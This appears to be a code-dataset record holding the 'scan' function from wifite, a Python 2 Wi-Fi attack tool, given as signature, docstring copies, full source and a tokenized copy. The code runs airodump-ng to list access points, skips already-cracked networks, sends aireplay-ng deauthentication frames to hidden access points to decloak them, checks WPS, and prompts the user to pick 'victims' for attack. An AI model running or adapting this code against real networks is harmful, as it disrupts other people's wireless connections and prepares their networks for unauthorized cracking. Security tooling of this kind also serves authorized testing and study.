(channel=0, iface='', tried_rtl8187_fix=False)
return (victims, clients)
Scans for access points. Asks user to select target(s).
            "channel" - the channel to scan on, 0 scans all channels.
            "iface"   - the interface to scan on. must be a real interface.
            "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
        Returns list of selected targets and list of clients.
Scans for access points. Asks user to select target(s).
            "channel" - the channel to scan on, 0 scans all channels.
            "iface"   - the interface to scan on. must be a real interface.
            "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
        Returns list of selected targets and list of clients.
Scans for access points . Asks user to select target ( s ) . channel - the channel to scan on 0 scans all channels . iface - the interface to scan on . must be a real interface . tried_rtl8187_fix - We have already attempted to fix Unknown error 132 Returns list of selected targets and list of clients .
def scan(channel=0, iface='', tried_rtl8187_fix=False):
    """
        Scans for access points. Asks user to select target(s).
            "channel" - the channel to scan on, 0 scans all channels.
            "iface"   - the interface to scan on. must be a real interface.
            "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
        Returns list of selected targets and list of clients.
    """
    global RUN_CONFIG
    remove_airodump_files(RUN_CONFIG.temp + 'wifite')
    
    command = ['airodump-ng', 
               '-a', # only show associated clients
               '-w', RUN_CONFIG.temp + 'wifite'] # output file
    if channel != 0:
        command.append('-c')
        command.append(str(channel))
    command.append(iface)
    
    proc = Popen(command, stdout=DN, stderr=DN)
    
    time_started = time.time()
    print GR+' [+] '+G+'initializing scan'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.'
    (targets, clients) = ([], [])
    try:
        deauth_sent = 0.0
        old_targets = []
        stop_scanning = False
        while True:
            time.sleep(0.3)
            if not os.path.exists(RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
                print R+'\n [!] ERROR!'+W
                # RTL8187 Unknown Error 132 FIX
                if proc.poll() != None: # Check if process has finished
                    proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
                    if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
                        if rtl8187_fix(iface):
                            return scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
                print R+' [!]'+O+' wifite is unable to generate airodump-ng output files'+W
                print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
                exit_gracefully(1)
                
            (targets, clients) = parse_csv(RUN_CONFIG.temp + 'wifite-01.csv')
            
            # Remove any already cracked networks if configured to do so
            if RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
                index = 0
                while index < len(targets):
                    already = False
                    for cracked in RUN_CONFIG.CRACKED_TARGETS:
                        if targets[index].ssid.lower() == cracked.ssid.lower():
                            already = True
                        if targets[index].bssid.lower() == cracked.bssid.lower():
                            already = True
                    if already == True:
                        targets.pop(index)
                        index -= 1
                    index += 1
            
            # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
            if RUN_CONFIG.TARGET_ESSID != '':
                for t in targets:
                    if t.ssid.lower() == RUN_CONFIG.TARGET_ESSID.lower():
                        send_interrupt(proc)
                        try: os.kill(proc.pid, SIGTERM)
                        except OSError: pass
                        except UnboundLocalError: pass
                        targets = [t]
                        stop_scanning = True
                        break
            if RUN_CONFIG.TARGET_BSSID != '':
                for t in targets:
                    if t.bssid.lower() == RUN_CONFIG.TARGET_BSSID.lower():
                        send_interrupt(proc)
                        try: os.kill(proc.pid, SIGTERM)
                        except OSError: pass
                        except UnboundLocalError: pass
                        targets = [t]
                        stop_scanning = True
                        break
            
            # If user has chosen to target all access points, wait 20 seconds, then return all
            if RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
                print GR+'\n [+]'+W+' auto-targeted %s%d%s access point%s' % (G, len(targets), W, '' if len(targets) == 1 else 's')
                stop_scanning = True
                
            if RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
                # Remove targets with power < threshold
                i = 0
                before_count = len(targets)
                while i < len(targets):
                    if targets[i].power < RUN_CONFIG.ATTACK_MIN_POWER:
                        targets.pop(i)
                    else: i += 1
                print GR+'\n [+]'+W+' removed %s targets with power < %ddB, %s remain' % \
                                (G+str(before_count - len(targets))+W, RUN_CONFIG.ATTACK_MIN_POWER, G+str(len(targets))+W)
                stop_scanning = True
            
            if stop_scanning: break
            
            # If there are unknown SSIDs, send deauths to them.
            if channel != 0 and time.time() - deauth_sent > 5:
                deauth_sent = time.time()
                for t in targets:
                    if t.ssid == '':
                        print "\r %s deauthing hidden access point (%s)               \r" % \
                              (GR+sec_to_hms(time.time() - time_started)+W, G+t.bssid+W),
                        stdout.flush()
                        # Time to deauth
                        cmd = ['aireplay-ng',
                               '--ignore-negative-one',
                               '--deauth', str(RUN_CONFIG.WPA_DEAUTH_COUNT),
                               '-a', t.bssid]
                        for c in clients:
                            if c.station == t.bssid:
                                cmd.append('-c')
                                cmd.append(c.bssid)
                                break
                        cmd.append(iface)
                        proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
                        proc_aireplay.wait()
                        time.sleep(0.5)
                    else:
                        for ot in old_targets:
                            if ot.ssid == '' and ot.bssid == t.bssid:
                                print '\r %s successfully decloaked "%s"                     ' % \
                                        (GR+sec_to_hms(time.time() - time_started)+W, G+t.ssid+W)
                
                old_targets = targets[:]
            if RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
                targets = sorted(targets, key=lambda t: t.power, reverse=True)
                if not RUN_CONFIG.WPS_DISABLE:
                    wps_check_targets(targets, RUN_CONFIG.temp + 'wifite-01.cap', verbose=False)
                
                os.system('clear')
                print GR+'\n [+] '+G+'scanning'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.\n'
                print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % ('BSSID              ' if RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
                print '   --- --------------------  %s--  ----  -----  ----  ------' % ('-----------------  ' if RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
                for i, target in enumerate(targets):
                    print "   %s%2d%s " % (G, i + 1, W),
                    # SSID
                    if target.ssid == '':
                        p = O+'('+target.bssid+')'+GR+' '+W
                        print '%s' % p.ljust(20),
                    elif ( target.ssid.count('\x00') == len(target.ssid) ):
                        p = '<Length '+str(len(target.ssid))+'>'
                        print '%s' % C+p.ljust(20)+W,
                    elif len(target.ssid) <= 20:
                        print "%s" % C+target.ssid.ljust(20)+W,
                    else:
                        print "%s" % C+target.ssid[0:17] + '...'+W,
                    # BSSID
                    if RUN_CONFIG.SHOW_MAC_IN_SCAN:
                        print O,target.bssid+W,
                    # Channel
                    print G+target.channel.rjust(3),W,
                    # Encryption
                    if target.encryption.find("WEP") != -1: print G,
                    else:                                   print O,
                    print "\b%3s" % target.encryption.strip().ljust(4) + W,
                    # Power
                    if target.power >= 55:   col = G
                    elif target.power >= 40: col = O
                    else:                    col = R
                    print "%s%3ddb%s" % (col,target.power, W),
                    # WPS
                    if RUN_CONFIG.WPS_DISABLE:
                        print "  %3s" % (O+'n/a'+W),
                    else:
                        print "  %3s" % (G+'wps'+W if target.wps else R+' no'+W),
                    # Clients
                    client_text = ''
                    for c in clients:
                        if c.station == target.bssid: 
                            if client_text == '': client_text = 'client'
                            elif client_text[-1] != "s": client_text += "s"
                    if client_text != '': print '  %s' % (G+client_text+W)
                    else: print ''
                print ''
            print ' %s %s wireless networks. %s target%s and %s client%s found   \r' % (
                  GR+sec_to_hms(time.time() - time_started)+W, G+'scanning'+W, 
                  G+str(len(targets))+W, '' if len(targets) == 1 else 's', 
                  G+str(len(clients))+W, '' if len(clients) == 1 else 's'),
            
            stdout.flush()
    except KeyboardInterrupt:
        pass
    print ''
    
    send_interrupt(proc)
    try: os.kill(proc.pid, SIGTERM)
    except OSError: pass
    except UnboundLocalError: pass
    
    # Use "wash" program to check for WPS compatibility
    if not RUN_CONFIG.WPS_DISABLE:
        wps_check_targets(targets, RUN_CONFIG.temp + 'wifite-01.cap')
    
    remove_airodump_files(RUN_CONFIG.temp + 'wifite')
    
    if stop_scanning: return (targets, clients)
    print ''
    
    if len(targets) == 0:
        print R+' [!]'+O+' no targets found!'+W
        print R+' [!]'+O+' you may need to wait for targets to show up.'+W
        print ''
        exit_gracefully(1)

    if RUN_CONFIG.VERBOSE_APS: os.system('clear')

    # Sort by Power
    targets = sorted(targets, key=lambda t: t.power, reverse=True)
    
    victims = []
    print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % ('BSSID              ' if RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
    print '   --- --------------------  %s--  ----  -----  ----  ------' % ('-----------------  ' if RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
    for i, target in enumerate(targets):
        print "   %s%2d%s " % (G, i + 1, W),
        # SSID
        if target.ssid == '':
            p = O+'('+target.bssid+')'+GR+' '+W
            print '%s' % p.ljust(20),
        elif ( target.ssid.count('\x00') == len(target.ssid) ):
            p = '<Length '+str(len(target.ssid))+'>'
            print '%s' % C+p.ljust(20)+W,
        elif len(target.ssid) <= 20:
            print "%s" % C+target.ssid.ljust(20)+W,
        else:
            print "%s" % C+target.ssid[0:17] + '...'+W,
        # BSSID
        if RUN_CONFIG.SHOW_MAC_IN_SCAN:
            print O,target.bssid+W,
        # Channel
        print G+target.channel.rjust(3),W,
        # Encryption
        if target.encryption.find("WEP") != -1: print G,
        else:                                   print O,
        print "\b%3s" % target.encryption.strip().ljust(4) + W,
        # Power
        if target.power >= 55:   col = G
        elif target.power >= 40: col = O
        else:                    col = R
        print "%s%3ddb%s" % (col,target.power, W),
        # WPS
        if RUN_CONFIG.WPS_DISABLE:
            print "  %3s" % (O+'n/a'+W),
        else:
            print "  %3s" % (G+'wps'+W if target.wps else R+' no'+W),
        # Clients
        client_text = ''
        for c in clients:
            if c.station == target.bssid: 
                if client_text == '': client_text = 'client'
                elif client_text[-1] != "s": client_text += "s"
        if client_text != '': print '  %s' % (G+client_text+W)
        else: print ''
    
    ri = raw_input(GR+"\n [+]"+W+" select "+G+"target numbers"+W+" ("+G+"1-%s)" % (str(len(targets))+W) + \
                         " separated by commas, or '%s': " % (G+'all'+W))
    if ri.strip().lower() == 'all':
        victims = targets[:]
    else:
        for r in ri.split(','):
            r = r.strip()
            if r.find('-') != -1:
                (sx, sy) = r.split('-')
                if sx.isdigit() and sy.isdigit():
                    x = int(sx)
                    y = int(sy) + 1
                    for v in xrange(x, y):
                        victims.append(targets[v - 1])
            elif not r.isdigit() and r.strip() != '':
                print O+" [!]"+R+" not a number: %s " % (O+r+W)
            elif r != '':
                victims.append(targets[int(r) - 1])
        
    if len(victims) == 0:
        print O+'\n [!] '+R+'no targets selected.\n'+W
        exit_gracefully(0)
    
    print ''
    print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
    
    return (victims, clients)
def scan ( channel = 0 , iface = '' , tried_rtl8187_fix = False ) : global RUN_CONFIG remove_airodump_files ( RUN_CONFIG . temp + 'wifite' ) command = [ 'airodump-ng' , '-a' , # only show associated clients '-w' , RUN_CONFIG . temp + 'wifite' ] # output file if channel != 0 : command . append ( '-c' ) command . append ( str ( channel ) ) command . append ( iface ) proc = Popen ( command , stdout = DN , stderr = DN ) time_started = time . time ( ) print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.' ( targets , clients ) = ( [ ] , [ ] ) try : deauth_sent = 0.0 old_targets = [ ] stop_scanning = False while True : time . sleep ( 0.3 ) if not os . path . exists ( RUN_CONFIG . temp + 'wifite-01.csv' ) and time . time ( ) - time_started > 1.0 : print R + '\n [!] ERROR!' + W # RTL8187 Unknown Error 132 FIX if proc . poll ( ) != None : # Check if process has finished proc = Popen ( [ 'airodump-ng' , iface ] , stdout = DN , stderr = PIPE ) if not tried_rtl8187_fix and proc . communicate ( ) [ 1 ] . find ( 'failed: Unknown error 132' ) != - 1 : if rtl8187_fix ( iface ) : return scan ( channel = channel , iface = iface , tried_rtl8187_fix = True ) print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W exit_gracefully ( 1 ) ( targets , clients ) = parse_csv ( RUN_CONFIG . temp + 'wifite-01.csv' ) # Remove any already cracked networks if configured to do so if RUN_CONFIG . SHOW_ALREADY_CRACKED == False : index = 0 while index < len ( targets ) : already = False for cracked in RUN_CONFIG . CRACKED_TARGETS : if targets [ index ] . ssid . lower ( ) == cracked . ssid . lower ( ) : already = True if targets [ index ] . bssid . lower ( ) == cracked . bssid . lower ( ) : already = True if already == True : targets . pop ( index ) index -= 1 index += 1 # If we are targeting a specific ESSID/BSSID, skip the scan once we find it. if RUN_CONFIG . TARGET_ESSID != '' : for t in targets : if t . ssid . lower ( ) == RUN_CONFIG . TARGET_ESSID . lower ( ) : send_interrupt ( proc ) try : os . kill ( proc . pid , SIGTERM ) except OSError : pass except UnboundLocalError : pass targets = [ t ] stop_scanning = True break if RUN_CONFIG . TARGET_BSSID != '' : for t in targets : if t . bssid . lower ( ) == RUN_CONFIG . TARGET_BSSID . lower ( ) : send_interrupt ( proc ) try : os . kill ( proc . pid , SIGTERM ) except OSError : pass except UnboundLocalError : pass targets = [ t ] stop_scanning = True break # If user has chosen to target all access points, wait 20 seconds, then return all if RUN_CONFIG . ATTACK_ALL_TARGETS and time . time ( ) - time_started > 10 : print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % ( G , len ( targets ) , W , '' if len ( targets ) == 1 else 's' ) stop_scanning = True if RUN_CONFIG . ATTACK_MIN_POWER > 0 and time . time ( ) - time_started > 10 : # Remove targets with power < threshold i = 0 before_count = len ( targets ) while i < len ( targets ) : if targets [ i ] . power < RUN_CONFIG . ATTACK_MIN_POWER : targets . pop ( i ) else : i += 1 print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % ( G + str ( before_count - len ( targets ) ) + W , RUN_CONFIG . ATTACK_MIN_POWER , G + str ( len ( targets ) ) + W ) stop_scanning = True if stop_scanning : break # If there are unknown SSIDs, send deauths to them. if channel != 0 and time . time ( ) - deauth_sent > 5 : deauth_sent = time . time ( ) for t in targets : if t . ssid == '' : print "\r %s deauthing hidden access point (%s)               \r" % ( GR + sec_to_hms ( time . time ( ) - time_started ) + W , G + t . bssid + W ) , stdout . flush ( ) # Time to deauth cmd = [ 'aireplay-ng' , '--ignore-negative-one' , '--deauth' , str ( RUN_CONFIG . WPA_DEAUTH_COUNT ) , '-a' , t . bssid ] for c in clients : if c . station == t . bssid : cmd . append ( '-c' ) cmd . append ( c . bssid ) break cmd . append ( iface ) proc_aireplay = Popen ( cmd , stdout = DN , stderr = DN ) proc_aireplay . wait ( ) time . sleep ( 0.5 ) else : for ot in old_targets : if ot . ssid == '' and ot . bssid == t . bssid : print '\r %s successfully decloaked "%s"                     ' % ( GR + sec_to_hms ( time . time ( ) - time_started ) + W , G + t . ssid + W ) old_targets = targets [ : ] if RUN_CONFIG . VERBOSE_APS and len ( targets ) > 0 : targets = sorted ( targets , key = lambda t : t . power , reverse = True ) if not RUN_CONFIG . WPS_DISABLE : wps_check_targets ( targets , RUN_CONFIG . temp + 'wifite-01.cap' , verbose = False ) os . system ( 'clear' ) print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n' print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % ( 'BSSID              ' if RUN_CONFIG . SHOW_MAC_IN_SCAN else '' ) print '   --- --------------------  %s--  ----  -----  ----  ------' % ( '-----------------  ' if RUN_CONFIG . SHOW_MAC_IN_SCAN else '' ) for i , target in enumerate ( targets ) : print "   %s%2d%s " % ( G , i + 1 , W ) , # SSID if target . ssid == '' : p = O + '(' + target . bssid + ')' + GR + ' ' + W print '%s' % p . ljust ( 20 ) , elif ( target . ssid . count ( '\x00' ) == len ( target . ssid ) ) : p = '<Length ' + str ( len ( target . ssid ) ) + '>' print '%s' % C + p . ljust ( 20 ) + W , elif len ( target . ssid ) <= 20 : print "%s" % C + target . ssid . ljust ( 20 ) + W , else : print "%s" % C + target . ssid [ 0 : 17 ] + '...' + W , # BSSID if RUN_CONFIG . SHOW_MAC_IN_SCAN : print O , target . bssid + W , # Channel print G + target . channel . rjust ( 3 ) , W , # Encryption if target . encryption . find ( "WEP" ) != - 1 : print G , else : print O , print "\b%3s" % target . encryption . strip ( ) . ljust ( 4 ) + W , # Power if target . power >= 55 : col = G elif target . power >= 40 : col = O else : col = R print "%s%3ddb%s" % ( col , target . power , W ) , # WPS if RUN_CONFIG . WPS_DISABLE : print "  %3s" % ( O + 'n/a' + W ) , else : print "  %3s" % ( G + 'wps' + W if target . wps else R + ' no' + W ) , # Clients client_text = '' for c in clients : if c . station == target . bssid : if client_text == '' : client_text = 'client' elif client_text [ - 1 ] != "s" : client_text += "s" if client_text != '' : print '  %s' % ( G + client_text + W ) else : print '' print '' print ' %s %s wireless networks. %s target%s and %s client%s found   \r' % ( GR + sec_to_hms ( time . time ( ) - time_started ) + W , G + 'scanning' + W , G + str ( len ( targets ) ) + W , '' if len ( targets ) == 1 else 's' , G + str ( len ( clients ) ) + W , '' if len ( clients ) == 1 else 's' ) , stdout . flush ( ) except KeyboardInterrupt : pass print '' send_interrupt ( proc ) try : os . kill ( proc . pid , SIGTERM ) except OSError : pass except UnboundLocalError : pass # Use "wash" program to check for WPS compatibility if not RUN_CONFIG . WPS_DISABLE : wps_check_targets ( targets , RUN_CONFIG . temp + 'wifite-01.cap' ) remove_airodump_files ( RUN_CONFIG . temp + 'wifite' ) if stop_scanning : return ( targets , clients ) print '' if len ( targets ) == 0 : print R + ' [!]' + O + ' no targets found!' + W print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W print '' exit_gracefully ( 1 ) if RUN_CONFIG . VERBOSE_APS : os . system ( 'clear' ) # Sort by Power targets = sorted ( targets , key = lambda t : t . power , reverse = True ) victims = [ ] print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % ( 'BSSID              ' if RUN_CONFIG . SHOW_MAC_IN_SCAN else '' ) print '   --- --------------------  %s--  ----  -----  ----  ------' % ( '-----------------  ' if RUN_CONFIG . SHOW_MAC_IN_SCAN else '' ) for i , target in enumerate ( targets ) : print "   %s%2d%s " % ( G , i + 1 , W ) , # SSID if target . ssid == '' : p = O + '(' + target . bssid + ')' + GR + ' ' + W print '%s' % p . ljust ( 20 ) , elif ( target . ssid . count ( '\x00' ) == len ( target . ssid ) ) : p = '<Length ' + str ( len ( target . ssid ) ) + '>' print '%s' % C + p . ljust ( 20 ) + W , elif len ( target . ssid ) <= 20 : print "%s" % C + target . ssid . ljust ( 20 ) + W , else : print "%s" % C + target . ssid [ 0 : 17 ] + '...' + W , # BSSID if RUN_CONFIG . SHOW_MAC_IN_SCAN : print O , target . bssid + W , # Channel print G + target . channel . rjust ( 3 ) , W , # Encryption if target . encryption . find ( "WEP" ) != - 1 : print G , else : print O , print "\b%3s" % target . encryption . strip ( ) . ljust ( 4 ) + W , # Power if target . power >= 55 : col = G elif target . power >= 40 : col = O else : col = R print "%s%3ddb%s" % ( col , target . power , W ) , # WPS if RUN_CONFIG . WPS_DISABLE : print "  %3s" % ( O + 'n/a' + W ) , else : print "  %3s" % ( G + 'wps' + W if target . wps else R + ' no' + W ) , # Clients client_text = '' for c in clients : if c . station == target . bssid : if client_text == '' : client_text = 'client' elif client_text [ - 1 ] != "s" : client_text += "s" if client_text != '' : print '  %s' % ( G + client_text + W ) else : print '' ri = raw_input ( GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % ( str ( len ( targets ) ) + W ) + " separated by commas, or '%s': " % ( G + 'all' + W ) ) if ri . strip ( ) . lower ( ) == 'all' : victims = targets [ : ] else : for r in ri . split ( ',' ) : r = r . strip ( ) if r . find ( '-' ) != - 1 : ( sx , sy ) = r . split ( '-' ) if sx . isdigit ( ) and sy . isdigit ( ) : x = int ( sx ) y = int ( sy ) + 1 for v in xrange ( x , y ) : victims . append ( targets [ v - 1 ] ) elif not r . isdigit ( ) and r . strip ( ) != '' : print O + " [!]" + R + " not a number: %s " % ( O + r + W ) elif r != '' : victims . append ( targets [ int ( r ) - 1 ] ) if len ( victims ) == 0 : print O + '\n [!] ' + R + 'no targets selected.\n' + W exit_gracefully ( 0 ) print '' print ' [+] %s%d%s target%s selected.' % ( G , len ( victims ) , W , '' if len ( victims ) == 1 else 's' ) return ( victims , clients )